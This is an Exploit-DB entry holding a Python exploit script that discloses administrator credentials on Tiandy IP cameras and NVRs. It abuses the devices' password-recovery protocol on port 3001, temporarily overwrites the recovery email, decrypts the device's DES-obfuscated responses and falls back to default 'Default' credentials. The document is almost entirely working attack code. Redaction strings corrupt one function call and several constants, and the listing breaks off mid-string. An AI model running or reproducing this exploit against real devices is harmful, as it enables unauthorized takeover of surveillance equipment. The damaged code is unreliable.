Exploit-DB #48799
Description: Tiandy IPC and NVR 9.12.7 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2020-09-10
Author: zb3

Exploit:
# Exploit Title: Tiandy IPC and NVR 9.12.7 - Credential Disclosure
# Date: 2020-09-10
# Exploit Author: zb3
# Vendor Homepage: http://en.tiandy.com
# Product Link: http://en.tiandy.com/index.php?s=/home/product/index/category/products.html
# Software Link: http://en.tiandy.com/index.php?s=/home/article/lists/category/188.html
# Version: DVRS_V9.12.7, DVRS_V11.7.4, NVSS_V13.6.1, NVSS_V22.1.0
# Tested on: Linux
# CVE: N/A


# Requires Python 3 and PyCrypto

# For more details and information on how to escalate this further, see:
# https://github.com/zb3/tiandy-research


import sys
import hashlib
import base64
import socket
import struct

from Crypto.Cipher import DES


def main():
  if len(sys.argv) != 2:
    print('python3 %s [host]' % sys.argv[0], file=sys.stderr)
    exit(1)

  host = sys.argv[1]

  conn = Channel(host)
  conn.connect()

  crypt_key = conn.get_crypt_key(65536)

  attempts = 2
  tried_to_set_mail = False
  ok = False

  while attempts > 0:
    attempts -= 1

    code = get_psw_code(conn)

    if code == False:
      # psw not supported
      break

    elif code == None:
      if not tried_to_set_mail:
        print("No PSW data found, we'll try to set it...", file=sys.stderr)

        tried_to_set_mail = True
        if try_set_mail(conn, 'a@a.a'):
          code = get_psw_code(conn)

    if code == None:
      print("couldn't set mail", file=sys.stderr)
      break

    rcode, [CREDENTIAL_REDACTED]_with_code(conn, code, crypt_key)

    if rcode == 5:
      print('The device is locked, try again later.', file=sys.stderr)
      break

    if rcode == 0:
      print('Admin', password)
      ok = True
      break

  if tried_to_set_mail:
    try_set_mail(conn, '')

  if not code:
    print("PSW is not supported, trying default credentials...", file=sys.stderr)

    credentials = recover_with_default(conn, crypt_key)

    if credentials:
      user, pw = credentials
      print(user, pw)

      ok = True

  if not ok:
    print('Recovery failed', file=sys.stderr)
    exit(1)


def try_set_mail(conn, target):
  conn.send_msg(['PROXY', 'USER', 'RESERVEPHONE', '2', '1', target, 'FILETRANSPORT'])
  resp = conn.recv_msg()

  return resp[4:7] == ['RESERVEPHONE', '2', '1']

def get_psw_code(conn):
  conn.send_msg(['IP', 'USER', 'LOGON', base64.b64encode(b'Admin').decode(), base64.b64encode(b'Admin').decode(), '', '65536', 'UTF-8', '0', '1'])
  resp = conn.recv_msg()

  if resp[4] != 'FINDPSW':
    return False

  psw_reg = psw_data = None

  if len(resp) > 7:
    psw_reg = resp[6]
    psw_data = resp[7]

  if not psw_data:
    return None

  psw_type = int(resp[5])

  if psw_type not in (1, 2, 3):
    raise Exception('unsupported psw type: '+str(psw_type))

  if psw_type == 3:
    psw_data = psw_data.split('"')[3]

  if psw_type == 1:
    psw_data = psw_data.split(':')[1]
    psw_key = psw_reg[:0x1f]

  elif psw_type in (2, 3):
    psw_key = psw_reg[:4].lower()

  psw_code = td_decrypt(psw_data.encode(), psw_key.encode())
  code = hashlib.md5(psw_code).hexdigest()[24:]

  return code


def recover_with_code(conn, code, crypt_key):
  conn.send_msg(['IP', 'USER', 'SECURITYCODE', code, 'FILETRANSPORT'])
  resp = conn.recv_msg()

  rcode = int(resp[6])

  if rcode == 0:
    return rcode, decode(resp[8].encode(), crypt_key).decode()

  return rcode, None


def recover_with_default(conn, crypt_key):
  res = conn.login_with_key(b'Default', b'Default', crypt_key)
  if not res:
    return False

  while True:
    msg = conn.recv_msg()

    if msg[1:5] == ['IP', 'INNER', 'SUPER', 'GETUSERINFO']:
      return decode(msg[6].encode(), crypt_key).decode(), decode(msg[7].encode(), crypt_key).decode()


###
### lib/des.py
###

def reverse_bits(data):
  return bytes([(b * 0x[PII_REDACTED] & 0x[PII_REDACTED]10) % 0x3ff for b in data])

def pad(data):
  if len(data) % 8:
    padlen = 8 - (len(data) % 8)
    data = data + b'\x00' * (padlen-1) + bytes([padlen])

  return data

def unpad(data):
  padlen = data[-1]

  if 0 < padlen <= 8 and data[-padlen:-1] == b'\x00'*(padlen-1):
    data = data[:-padlen]

  return data

def encrypt(data, key):
  cipher = DES.new(reverse_bits(key), 1)
  return reverse_bits(cipher.encrypt(reverse_bits(pad(data))))

def decrypt(data, key):
  cipher = DES.new(reverse_bits(key), 1)
  return unpad(reverse_bits(cipher.decrypt(reverse_bits(data))))

def encode(data, key):
  return base64.b64encode(encrypt(data, key))

def decode(data, key):
  return decrypt(base64.b64decode(data), key)


###
### lib/binproto.py
###

def recvall(s, l):
  buf = b''
  while len(buf) < l:
    nbuf = s.recv(l - len(buf))
    if not nbuf:
      break

    buf += nbuf

  return buf

class Channel:
  def __init__(self, ip, port=3001):
    self.ip = ip
    self.ip_bytes = socket.inet_aton(ip)[::-1]
    self.port = port
    self.msg_seq = 0
    self.data_seq = 0
    self.msg_queue = []

  def fileno(self):
    return self.socket.fileno()

  def connect(self):
    self.socket = socket.socket()
    self.socket.connect((self.ip, self.port))

  def reconnect(self):
    self.socket.close()
    self.connect()

  def send_cmd(self, data):
    self.socket.sendall(b'\xf1\xf5\xea\xf5' + struct.pack('<HH8xI', self.msg_seq, len(data) + 20, len(data)) + data)
    self.msg_seq += 1

  def send_data(self, stream_type, data):
    self.socket.sendall(struct.pack('<4sI4sHHI', b'\xf1\xf5\xea\xf9', self.data_seq, self.ip_bytes, 0, len(data) + 20, stream_type) + data)
    self.data_seq += 1


  def recv(self):
    hdr = recvall(self.socket, 20)
    if hdr[:4] == b'\xf1\xf5\xea\xf9':
      lsize, stream_type = struct.unpack('<14xHI', hdr)
      data = recvall(self.socket, lsize - 20)

      if data[:4] != b'NVS\x00':
        print(data[:4], b'NVS\x00')
        raise Exception('invalid data